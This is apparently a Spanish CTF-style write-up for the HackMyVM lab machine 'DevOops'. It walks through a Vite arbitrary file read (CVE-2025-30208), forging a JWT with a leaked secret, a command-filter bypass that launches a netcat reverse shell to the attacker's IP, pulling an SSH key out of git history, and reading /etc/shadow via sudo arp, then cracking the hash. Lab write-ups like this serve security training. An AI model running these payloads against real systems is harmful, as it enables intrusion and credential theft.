cd ~/blog

~/writeups/hmv/128-devoops.md

128 - DevOops

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Vite Arbitrary File Read (CVE-2025-30208)JWT Secret Disclosure con Token ForgeryOS Command Injection mediante Command Filter BypassSSH Private Key Disclosure en Git HistoryArbitrary File Read mediante sudo arp
hackmyvm.eu/machines/machine.php?vm=DevOops

~2 min de lectura


Enumeración del servicio Vite

El único puerto detectado expone un servidor de desarrollo Vite. El propio mensaje de error identifica el framework y su control de hosts permitidos:

❯ nmap -sCV -p 3000 -oN 02-targeted.txt 192.168.1.9
...
3000/tcp open  ppp?
|     Blocked request. This host (undefined) is not allowed.
|     allow this host, add undefined to `server.allowedHosts` in vite.config.js.
...

La ruta /@vite/client permite confirmar la versión 6.2, afectada por Arbitrary File Read mediante CVE-2025-30208:

❯ searchsploit vite
...
Vite 6.2.2 - Arbitrary File Read | multiple/remote/52111.py
...

Arbitrary File Read y exposición de secretos

La secuencia ?raw?? hace que Vite trate el recurso como contenido sin procesar y permite evadir la restricción de acceso al sistema de archivos en las versiones afectadas. La lectura de /etc/passwd identifica a hana; la de .env expone tanto el secreto de firma JWT como la lista textual de comandos bloqueados:

❯ curl 'http://192.168.1.9:3000/etc/passwd?raw??' | grep '/bin/sh'
root:x:0:0:root:/root:/bin/sh
hana:x:1001:100::/home/hana:/bin/sh

❯ curl 'http://192.168.1.9:3000/.env?raw??'
...
export default "JWT_SECRET='2942szKG7Ev83aDviugAa6rFpKixZzZz'\nCOMMAND_FILTER='nc,python,...'"
...

Como la firma de un JWT demuestra integridad pero no protege un secreto ya expuesto, usamos el JWT_SECRET para realizar Token Forgery y acceder al endpoint administrativo /execute:

❯ curl -g -H "Authorization: Bearer eyJ...JkM" "http://192.168.1.9:3000/execute?cmd=id"
{"status":"executed","data":{"stdout":"uid=1000(runner) ...\n","stderr":""}}

OS Command Injection y evasión del filtro

El endpoint pasa el parámetro cmd a una shell, lo que constituye OS Command Injection. Su filtro compara cadenas prohibidas, pero la shell elimina las comillas vacías al interpretar n""c y s""h; así reconstruye los nombres bloqueados después de superar la validación y ejecuta la reverse shell:

❯ curl -s -H 'Authorization: Bearer eyJ...JkM' 'http://192.168.1.9:3000/execute?cmd=n""c+192.168.1.6+1234+-e+s""h'

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.9:43975.
id
uid=1000(runner) gid=1000(runner) groups=1000(runner)

SSH Private Key Disclosure en el historial de Git

Los procesos revelan una instancia de Gitea y su repositorio bare. Copiamos el repositorio y reconstruimos un working tree colocando node.git como .git. Aunque la clave ya no está en la versión actual, Git History Secret Exposure permite recuperarla desde un commit anterior con git show:

find / -name "*gitea*" 2>/dev/null
...
/opt/gitea/git/hana/node.git
...

cp -r ./node.git/ /tmp/repo/.git
git log
...
    del: oops!
...

git show 1994a70bbd080c633ac85a339fd85a8635c63893
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAA...
-----END OPENSSH PRIVATE KEY-----

SSH solo escucha en la interfaz local. socat publica un puerto accesible que reenvía las conexiones a 127.0.0.1:22; a través de este puente usamos la clave recuperada para entrar como hana:

socat TCP-LISTEN:4444,fork TCP:127.0.0.1:22

❯ ssh hana@192.168.1.9 -p 4444 -i id_rsa
devoops:~$

Arbitrary File Read mediante arp -f

La política de sudo permite ejecutar /sbin/arp como root sin contraseña:

devoops:~$ sudo -l
...
User hana may run the following commands on devoops:
    (root) NOPASSWD: /sbin/arp

La opción arp -f interpreta un archivo como una tabla de entradas. Cuando las líneas no tienen el formato esperado, el modo verbose las reproduce en los errores, convirtiendo este Sudo-Allowed Program Abuse en una Arbitrary File Read. Así recuperamos el hash de root desde /etc/shadow y lo sometemos a un ataque de diccionario:

devoops:~$ sudo arp -v -f "/etc/shadow"
...
>> root:$6$FGoCakO3/TPFyfOf$6eojvYb2zPpVHYs2eYkMKETlkki...:20200:0:::::
...

❯ hashcat -m 1800 '$6$FGoCakO3/TPFyfOf$...' ~/Documentos/wordlists/rockyou.txt
...
:eris
...

devoops:~$ su root
Password: eris
/home/hana # whoami
root

La salida existente de whoami confirma la escalada. Con este acceso damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados